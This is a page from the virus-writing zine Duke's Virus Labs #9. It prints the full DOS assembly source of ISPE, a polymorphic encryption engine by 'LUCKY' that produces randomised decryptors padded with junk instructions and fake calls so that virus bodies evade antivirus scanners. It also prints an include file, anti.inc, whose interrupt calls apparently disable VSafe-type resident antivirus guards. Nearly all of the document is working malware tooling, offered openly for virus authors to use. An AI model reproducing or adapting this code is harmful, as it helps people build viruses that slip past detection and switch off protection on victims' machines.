- [Duke's Virus Labs #9] - [Page 12] - ISPE (INTELLIGENT SLOW POLYMORPHIC ENGINE) (c) by LUCKY ===== begin ispe.asm ===== .MODEL TINY LOCALS @@ JUMPS .CODE public ISPE,Level1,Random,Level3,Boolean public ISPE_Bottom,ISPE_Top New_Section equ 777 ISPE_Bottom = $ ISPE_RR db 'ISPE (INTELLIGENT SLOW POLYMORPHIC ENGINE)' db 'by LUCKY B.R.D 1994-99' db 'many Thanx: Slagehammer for spreat my Viruses' include anti.inc Privileg_In_Cyc db ? Privileg_In_Ofs db ? Privileg_In_Dis db ? W_E_R_CALL dw ? W_E_R_Ini_Ofs dw ? W_E_R_Cycle dw ? Code_wieviel dw ? Mit_wem_Size dw ? Method_ISPE_1 db 10 dup ('L') Key_ISPE_1 db 10 dup ('U') Call_ISPE_1 dw 6 dup ('CK')   He_He_Call_ISPE_1 dw 28 dup ('Y.') Calls_Zaeler db ? He_He_Calls_Zaeler db ?   Twieviel dw ? Verschl_ssle_1_1 dw ? UnBenutzt db ? Level1 proc near xor ax,ax dec ax jmp Random Boolean: mov ax,1 Random: push bx push cx push dx push ax call $+3 pop bx sub bx,Offset $-1 sub ax,ax int 1ah in al,40h xchg cx,ax xchg dx,ax lea bx,[bx+Ran_Num] xor [bx],ax rol word ptr [bx],cl xor cx,word ptr [bx] rol ax,cl xor dx,word ptr [bx] ror dx,cl xor ax,dx imul dx xor ax,dx xor word ptr [bx],ax pop cx sub dx,dx inc cx je Random_Ret div cx xchg ax,dx Random_Ret: pop dx pop cx pop bx test ax,ax retn Ran_Num dw ? Level3: xor ah,ah jmp Random Level1 endp Lucky_S proc near push di add di,New_Section stosb pop di stosb retn Lucky_S endp Lucky_W proc near push di add di,New_Section stosw pop di stosw retn Lucky_W endp Testing proc near call Zurück_1 ror cl,3 call Zurück_1 rol cl,3 retn Zurück_1: push cx and cl,00000111b cmp cl,00000100b ; SP? pop cx jne Exit_Testing push ax mov al,111b call Level3 and cl,11111000b or cl,al pop ax jmp Zurück_1 Exit_Testing: retn Testing endp Leer_Code proc near push ax push cx push si mov byte ptr [bx+Wo_2+2],_Leer_Codes_1-Offset Leer_Codes_1-1 or al,al jnz Nik_A sub byte ptr [bx+Wo_2+2],3 Nik_A: push ax call Level1 mov cx,ax pop ax call Level3 mov si,ax shl si,2 add si,ax mov ax,word ptr [bx+si+Wo_2]   add ax,bx push ax mov al,byte ptr [bx+si+Wo_2+2] call Level3 mov si,word ptr [bx+si+Wo_2+3] add si,ax cmp si,Offset Gummi_5 jb Pass_Rechne cmp si,Offset Gummi_7 jae Pass_Rechne shr al,1 sub si,ax Pass_Rechne: add si,bx lodsb sub si,bx retn Mehr_zzz_1: cmp si,Offset Gummi_1 jbe Exit_zzz_1 and cl,00000111b call Testing or al,cl Exit_zzz_1: call Lucky_S jmp Leer_Done Mehr_zzz_2: cmp si,Offset Gummi_3 ja W_O_3 and ch,00000001b or al,ch call Lucky_S mov al,11000000b call Testing or al,cl   jmp Exit_zzz_2 W_O_3: cmp si,Offset Gummi_4 ja W_O_4 push ax mov al,11110110b call Lucky_S pop ax and cl,00000111b call Testing or al,cl jmp Exit_zzz_2 W_O_4: cmp si,Offset Gummi_5 ja W_O_5 and ch,00000001b or al,ch call Lucky_S mov al,cl or ch,ch jz Exit_zzz_2   call Lucky_S call Level1 jmp Exit_zzz_2 W_O_5: cmp si,Offset Gummi_6 ja W_O_6 and cx,0000001100000111b jmp W_O_7 W_O_6: cmp si,Offset Gummi_7 ja W_O_8 and cx,0000000100000111b W_O_7: call Testing or al,ch call Lucky_S mov al,byte ptr [bx+si] or al,cl call Lucky_S call Level1 dec ch jnz Exit_zzz_2 call Lucky_S xchg ah,al jmp Exit_zzz_2 W_O_8: push ax mov al,11111110b and ch,00000001b or al,cl call Lucky_S pop ax and cl,00000111b call Testing or al,cl Exit_zzz_2: call Lucky_S jmp Leer_Done Mehr_zzz_4: call Lucky_S and cl,00111111b call Testing push cx and cl,00000111b cmp cl,00000110b pop cx jnz CL_OK or cl,1 CL_OK: mov al,cl call Lucky_S jmp Leer_Done Mehr_zzz_5: cmp si,Offset Leer21th_2 ja W_O_9 mov ah,10110100b call Lucky_W mov ax,21cdh call Lucky_W jmp Leer_Done W_O_9: push ax mov al,00000110b call Lucky_S pop ax mov ah,10110100b xchg ah,al call Lucky_W mov ax,21cdh call Lucky_W mov al,00000111b call Lucky_S Leer_Done: pop si pop cx pop ax retn Wo_2 dw Offset Mehr_zzz_1 db _Leer_Codes_1-Offset Leer_Codes_1-1 dw Offset Leer_Codes_1 dw Offset Mehr_zzz_2 db _Leer_Codes_2-Offset Leer_Codes_2-1 dw Offset Leer_Codes_2 dw Offset Exit_zzz_2 db _Leer_Codes_3-Offset Leer_Codes_3-1 dw Offset Leer_Codes_3 dw Offset Mehr_zzz_4 db _Leer_Codes_4-Offset Leer_Codes_4-1 dw Offset Leer_Codes_4 dw Offset Mehr_zzz_5 db _Leer21th-Offset Leer21th_1-1 dw Offset Leer21th_1 Leer_Codes_1 db 11111000b,11110101b,11111001b,11111011b,11111100b db 10011000b,00100110b,00101110b,00110110b,00111110b db 10011001b,11111101b Gummi_1 db 01001000b,01000000b,10010000b _Leer_Codes_1 = $ Leer_Codes_2 db 00000010b,00010010b,00101010b,00011010b,00111000b db 00100010b,10000100b,00001010b,00110010b,10001000b Gummi_2 db 11010000b,11010010b Gummi_3 db 11010000b,11011000b,11100000b,11101000b Gummi_4 db 00000100b,00010100b,00101100b,00011100b,00111100b db 00100100b,10101000b,00001100b,00110100b Gummi_5 db 10000000b,11000000b,10000000b,11010000b db 10000000b,11101000b,10000000b,11011000b db 10000000b,11111000b Gummi_6 db 10000000b,11100000b,11110110b,11000000b db 10000000b,11001000b,10000000b,11110000b Gummi_7 db 11000000b,11001000b _Leer_Codes_2 = $ Leer_Codes_3 db 10100110b,10100111b,10101110b,10101111b,10101100b db 10101101b,10011111b,11010111b _Leer_Codes_3 = $ Leer_Codes_4 db 10001010b,00000010b,00010010b,00101010b,00011010b db 00111010b,00100010b,10000100b,00001010b,00110010b _Leer_Codes_4 = $ Leer21th_1 db 0bh db 19h db 2ah db 2ch db 30h db 4dh db 51h db 54h db 62h Leer21th_2 db 2fh db 34h db 35h db 52h _Leer21th = $ Leer_Code endp Black_Reg2RM proc near cmp al,00000101b jb Jerret2 ja Jerret1 inc ax jmp Jerret3 Jerret1: sub ax,2 jmp Jerret3 Jerret2: mov al,00000111b Jerret3: retn Black_Reg2RM endp Cool_2_Move: push si push ax push ax mov al,3 or dx,dx jnz @@Use_All_Methods sub al,2 @@Use_All_Methods: call Level3 xchg si,ax pop ax cmp si,3 jz Benutzt_MOV_1 cmp si,2 jz Benutzt_LEA_1 mov al,ah shl al,3 or al,11000000b or ah,al dec si jz Benutzt_SUB_1 mov al,31h jmp Benutzt_XOR_1 Benutzt_SUB_1: mov al,29h jmp Benutzt_XOR_1 Benutzt_LEA_1: mov al,10001101b shl ah,3 or ah,110b call Lucky_W call Level1 jmp Benutzt_XOR_1 Benutzt_MOV_1: mov al,10111000b or al,ah call Lucky_S call Level1 Benutzt_XOR_1: call Lucky_W pop ax si retn Cool_2_Ini_Cyc: push ax jz Benutzt_MOV_2 mov al,10001101b shl ah,3 or ah,110b call Lucky_W mov ax,word ptr [bx+Code_wieviel] shr ax,1 inc ax call Lucky_W jmp Benutzt_LEA_2 Benutzt_MOV_2: mov al,10111000b or al,ah call Lucky_S mov ax,word ptr [bx+Code_wieviel] shr ax,1 inc ax call Lucky_W Benutzt_LEA_2: pop ax retn Cool_2_Ini_Ofs: push ax push cx push ax mov al,15 call Level3 inc ax push ax mov ah,0e8h xchg ah,al call Lucky_W xor ax,ax call Lucky_S pop ax mov word ptr [bx+W_E_R_CALL],di mov cx,ax @@INIT3: mov al,0ffh call Level3 call Lucky_S loop @@INIT3 pop ax mov al,01011000b or al,ah call Lucky_S or ah,11000000b mov al,10000001b   call Lucky_W mov word ptr [bx+W_E_R_Ini_Ofs],di call Lucky_W pop cx pop ax retn Mache_Instruction: push cx push dx push dx xchg dx,ax mov al,2eh stosb lodsw or ah,byte ptr [bx+Privileg_In_Dis] cmp byte ptr [bx+Privileg_In_Dis],110b jne @@NORM1 or ah,01000000b @@NORM1: cmp dx,Offset Gummi_8 jb @@CNT1 je @@CNT2 cmp dx,Offset Gummi_9 jae @@CNT2 @@CNT1: pop dx stosw jmp @@CNT3 @@CNT2: pop dx or ah,dl stosw @@CNT3: test ah,01000000b jz @@NORM2 xor al,al stosb @@NORM2: pop dx pop cx retn Cool_2_Increment: call Boolean jz Big_INC mov al,01000000b or al,byte ptr [bx+Privileg_In_Ofs] call Lucky_S jmp Exit_Cool_2_Increment Big_INC: mov ax,1100000011111111b or ah,byte ptr [bx+Privileg_In_Ofs] call Lucky_W Exit_Cool_2_Increment: retn Mache_Leer_Code proc near push cx sub cx,cx mov cl,ah Mache_Leer_Code_Loop: call Leer_Code loop Mache_Leer_Code_Loop pop cx retn Mache_Leer_Code endp Mache_For_My_Engine proc near push ax push cx push si mov al,01010000b mov cl,al or al,byte ptr [bx+Privileg_In_Ofs] or cl,byte ptr [bx+Privileg_In_Cyc] push ax call Boolean pop ax jz @@Do_Not_Exchange xchg cx,ax @@Do_Not_Exchange: call Lucky_S xchg cx,ax call Lucky_S push ax push dx mov ah,byte ptr [bx+Privileg_In_Ofs] xor dx,dx call Cool_2_Move pop dx mov ax,301h xor si,si inc si call Mache_Leer_Code_&_Calls pop ax and al,00000111b or al,01011000b and cl,00000111b or cl,01011000b call Lucky_S xchg cx,ax call Lucky_S pop si pop cx pop ax retn Mache_For_My_Engine endp Mache_Leer_Code_&_Calls proc near push ax push si push cx xor cx,cx mov cl,ah MEC&C_Loop: push ax mov al,2 call Level3 or al,al jnz Skip_Creat_CALL mov al,0e8h call Lucky_S push bx xor ax,ax mov al,byte ptr [bx+He_He_Calls_Zaeler] shl ax,1 add bx,ax mov word ptr [bx+He_He_Call_ISPE_1],di inc di inc di pop bx inc byte ptr [bx+He_He_Calls_Zaeler] Skip_Creat_CALL: pop ax call Leer_Code loop MEC&C_Loop pop cx pop si pop ax retn Mache_Leer_Code_&_Calls endp Mache_Zahlen_ proc near push cx push si push di call Generate_Code push di add di,3 sub ax,ax mov al,byte ptr [bx+Calls_Zaeler] shl ax,1 push bx add bx,ax mov word ptr [bx+Call_ISPE_1],di pop bx mov al,8 call Level3 add al,5 xchg cx,ax mov si,4 Cool1_MEC: mov al,1 call Leer_Code cmp byte ptr [bx+Calls_Zaeler],0 jz Skip_CALL mov al,2 call Level3 jnz Skip_CALL test si,si jz Skip_CALL dec si mov al,0e8h call Lucky_S mov al,byte ptr [bx+Calls_Zaeler] dec ax call Level3 shl ax,1 push bx add bx,ax mov ax,word ptr [bx+Call_ISPE_1] pop bx sub ax,di dec ax dec ax call Lucky_W Skip_CALL: loop Cool1_MEC mov al,0c3h call Lucky_S mov si,di pop di call Boolean mov al,0e9h jz @@Use_JMP mov al,0e8h @@Use_JMP: call Lucky_S push ax mov ax,si sub ax,di dec ax dec ax call Lucky_W pop ax mov di,si cmp al,11101000b jne Skip_Stack_Juh_1 call Boolean jz Direct_Juh_1 mov al,111b call Level3 xchg cx,ax call Testing mov al,01011000b or al,cl call Lucky_S jmp Skip_Stack_Juh_1 Direct_Juh_1: mov al,2 call Level3 jz INC_SP_Twice dec ax mov al,83h jz ADD_SP call Lucky_S mov ax,0feech jmp _Stack_Juh_1 ADD_SP: call Lucky_S mov ax,02c4h jmp _Stack_Juh_1 INC_SP_Twice: mov ax,4444h _Stack_Juh_1: call Lucky_W Skip_Stack_Juh_1: inc byte ptr [bx+Calls_Zaeler] pop ax sub ax,di neg ax add word ptr [bx+Mit_wem_Size],ax pop si pop cx retn Generate_Code: mov si,3 mov al,2 call Level3 add al,4 mov ah,al mov al,4 call Mache_Leer_Code_&_Calls retn Mache_Zahlen_ endp Mache_Reg_Init proc near push cx push dx push si push di call Generate_Code mov byte ptr [bx+UnBenutzt],00010000b mov al,6 call Level3 xchg dx,ax Already_Init: cmp byte ptr [bx+UnBenutzt],0ffh je Init_OK mov al,111b call Level3 mov cl,1 xchg cx,ax mov ah,cl shl al,cl test byte ptr [bx+UnBenutzt],al jnz Already_Init or byte ptr [bx+UnBenutzt],al call Cool_2_Move dec dx jmp Already_Init Init_OK: mov si,3 mov al,5 call Level3 add al,5 xchg ah,al inc ax call Mache_Leer_Code_&_Calls pop ax sub ax,di neg ax add word ptr [bx+Mit_wem_Size],ax pop si pop dx pop cx retn Mache_Reg_Init endp Mache_Cool_6_Code proc near push dx push si push di mov al,00000011b call Level3 push ax call Boolean pop ax jz Addr_Then_Cycle mov ah,byte ptr [bx+Privileg_In_Cyc] test al,00000001b call Cool_2_Ini_Cyc mov ah,byte ptr [bx+Privileg_In_Ofs] test al,00000010b call Cool_2_Ini_Ofs jmp Cycle_Then_Addr Addr_Then_Cycle: mov ah,byte ptr [bx+Privileg_In_Ofs] test al,00000010b call Cool_2_Ini_Ofs mov ah,byte ptr [bx+Privileg_In_Cyc] test al,00000001b call Cool_2_Ini_Cyc Cycle_Then_Addr: mov word ptr [bx+W_E_R_Cycle],di mov cx,word ptr [bx+Twieviel] call Mache_For_My_Engine Cool1_Build_Cool_6_Code: xor ax,ax push bx add bx,cx mov al,byte ptr [bx+Method_ISPE_1-1] mov dl,byte ptr [bx+Key_ISPE_1-1] cmp al,2 jb Street1 cmp al,6 jb Street2 cmp al,10 je Street1 sub al,4 jmp Street1 Street2: add al,4 Street1: shl al,1 pop bx lea si,[bx+Cool_6_Codes] add si,ax add ax,Offset Cool_6_Codes push di add di,New_Section call Mache_Instruction pop di xor ax,ax push bx add bx,word ptr [bx+Twieviel] sub bx,cx mov al,byte ptr [bx+Method_ISPE_1] mov dl,byte ptr [bx+Key_ISPE_1] shl al,1 pop bx lea si,[bx+Cool_6_Codes] add si,ax add ax,Offset Cool_6_Codes call Mache_Instruction loop Cool1_Build_Cool_6_Code mov al,2 call Level3 jz Benutzt_INC dec ax jz Benutzt_SUB call Boolean jz Big_ADD mov ax,1100000010000011b or ah,byte ptr [bx+Privileg_In_Ofs] call Lucky_W mov al,2 call Lucky_S jmp Benutzt_ADD Big_ADD: mov ax,1100000010000001b or ah,byte ptr [bx+Privileg_In_Ofs] call Lucky_W mov ax,2 call Lucky_W jmp Benutzt_ADD Benutzt_SUB: mov ax,1110100010000001b or ah,byte ptr [bx+Privileg_In_Ofs] call Lucky_W mov ax,0fffeh call Lucky_W jmp Benutzt_ADD Benutzt_INC: call Cool_2_Increment call Mache_For_My_Engine call Cool_2_Increment Benutzt_ADD: call Mache_For_My_Engine cmp byte ptr [bx+Privileg_In_Cyc],1 jne Privileg_Not_CX call Boolean jz Privileg_Not_CX mov al,11100010b jmp Null_Disp Privileg_Not_CX: cmp byte ptr [bx+Privileg_In_Cyc],0 jne Privileg_Not_AX call Boolean jz Privileg_Not_AX call Boolean jz Benutzt_ADD_AX mov al,00101101b call Lucky_S mov ax,1 call Lucky_W jmp Null_JNZ Benutzt_ADD_AX: mov ax,1111111100000101b call Lucky_W mov al,11111111b call Lucky_S jmp Null_JNZ Privileg_Not_AX: mov al,2 call Level3 jz Benutzt_INC_2 dec al jz Benutzt_ADD_2 mov ah,11101000b or ah,byte ptr [bx+Privileg_In_Cyc] push ax call Boolean pop ax jz Big_SUB mov al,10000011b call Lucky_W mov al,1 call Lucky_S jmp Null_JNZ Big_SUB: mov al,10000001b call Lucky_W mov ax,1 call Lucky_W jmp Null_JNZ Benutzt_ADD_2: mov ax,1100000010000001b or ah,byte ptr [bx+Privileg_In_Cyc] call Lucky_W xor ax,ax dec ax call Lucky_W jmp Null_JNZ Benutzt_INC_2: call Boolean jz Big_DEC mov al,01001000b or al,byte ptr [bx+Privileg_In_Cyc] call Lucky_S jmp Null_JNZ Big_DEC: mov ax,1100100011111111b or ah,byte ptr [bx+Privileg_In_Cyc] call Lucky_W Null_JNZ: mov al,01110101b Null_Disp: call Lucky_S push dx mov ax,word ptr [bx+W_E_R_Cycle] mov dx,di sub al,dl dec ax call Lucky_S pop dx pop ax sub ax,di neg ax add word ptr [bx+Mit_wem_Size],ax mov ax,di sub ax,word ptr [bx+W_E_R_CALL] mov si,word ptr [bx+W_E_R_Ini_Ofs] mov word ptr [si],ax inc ax mov word ptr [si+New_Section],ax mov word ptr [di+New_Section],0c3h pop si pop dx retn Cool_6_Codes db 11110111b,00011000b,11110111b,00010000b db 11111111b,00000000b,11010001b,00000000b db 11010011b,00000000b Gummi_8 db 00000001b,00000000b db 11111111b,00001000b,11010001b,00001000b db 11010011b,00001000b Gummi_9 db 00101001b,00000000b,00110001b,00000000b _Cool_6_Codes = $ Mache_Cool_6_Code endp Juh_1_Calls proc near push di push si xor cx,cx mov cl,byte ptr [bx+He_He_Calls_Zaeler] lea si,[bx+He_He_Call_ISPE_1] Cool1_Juh_1_Calls: mov di,word ptr [si] mov al,byte ptr [bx+Calls_Zaeler] dec ax call Level3 shl ax,1 push bx add bx,ax mov ax,word ptr [bx+Call_ISPE_1] pop bx sub ax,di dec ax dec ax call Lucky_W inc si inc si loop Cool1_Juh_1_Calls pop si pop di retn Juh_1_Calls endp ISPE proc near pushf push ax push bx push dx push di si bp cld call $+3 pop bx sub bx,Offset $-1 call Init_ISPE call Build_Holo call Verschl_ssle_2 mov cx,word ptr [bx+Code_wieviel] add cx,word ptr [bx+Mit_wem_Size] pop bp pop si di dx bx ax popf ret ISPE endp Init_ISPE proc near push di si cx mov word ptr [bx+Code_wieviel],cx xor ax,ax mov word ptr [bx+Mit_wem_Size],ax mov byte ptr [bx+Calls_Zaeler],ah mov byte ptr [bx+He_He_Calls_Zaeler],al mov al,6 call Level3 add al,4 xchg cx,ax mov word ptr [bx+Twieviel],cx lea di,[bx+Method_ISPE_1] Init_Method_ISPE_1_Loop: mov al,10 call Level3 stosb loop Init_Method_ISPE_1_Loop Cool1_Cool_2_1: mov al,111b call Level3 cmp al,101b jae @@Cool_2d1 cmp al,011b jne Cool1_Cool_2_1 @@Cool_2d1: mov byte ptr [bx+Privileg_In_Ofs],al Cool1_Cool_2_2: mov al,111b call Level3 xchg cx,ax call Testing xchg cx,ax cmp al,byte ptr [bx+Privileg_In_Ofs] je Cool1_Cool_2_2 mov byte ptr [bx+Privileg_In_Cyc],al mov al,byte ptr [bx+Privileg_In_Ofs] call Black_Reg2RM mov byte ptr [bx+Privileg_In_Dis],al mov cx,(Offset Privileg_In_Cyc-Offset ISPE_RR)/2 xor di,di lea si,[bx+ISPE_RR] Check_ISPE: lodsw xor di,ax loop Check_ISPE cmp di,0c5afh jne Not_Juh_1 mov cx,word ptr [bx+Twieviel] lea di,[bx+Key_ISPE_1] Init_Key_ISPE_1_Loop: mov al,00000111b call Level3 xchg cx,ax call Testing xchg cx,ax cmp al,byte ptr [bx+Privileg_In_Ofs] je Init_Key_ISPE_1_Loop shl al,3 stosb loop Init_Key_ISPE_1_Loop pop cx si di Not_Juh_1: retn Init_ISPE endp Build_Holo proc near push ax si mov al,4 call Level3 add al,2 push cx xchg cx,ax Cool1_Mache_Zahlen_s: call Mache_Zahlen_ loop Cool1_Mache_Zahlen_s pop cx mov word ptr [bx+Verschl_ssle_1_1],di add word ptr [bx+Verschl_ssle_1_1],New_Section call Mache_Reg_Init call Mache_Cool_6_Code call Juh_1_Calls pop si ax retn Build_Holo endp Verschl_ssle_2 proc near inc word ptr [bx+Code_wieviel] push di add di,New_Section inc di mov cx,word ptr [bx+Code_wieviel] push di cx bx repnz movsb call word ptr [bx+Verschl_ssle_1_1] cld pop bx cx si di repnz movsb retn Verschl_ssle_2 endp ISPE_Top = $ end ===== end ispe.asm ===== ===== begin anti.inc ===== Remove_Guard: xor bl,bl mov ax,0FA02h mov dx,05945h int 16h xor dl,dl Protect_D: mov cx,10 next_parm: dec cl mov dh,0FFh mov ax,0CCCCh mov bx,055BBh next_d: int 21h dec dh cmp dh,0F0h jnc next_d int 21h mov ax,0EBEBh mov bx,00101h mov dh,cl int 2Fh inc cl loop next_parm retn Restore_Guard: mov ax,0FA02h mov dx,05945h int 16h mov dl,1 jmp short Protect_D ===== end anti.inc =====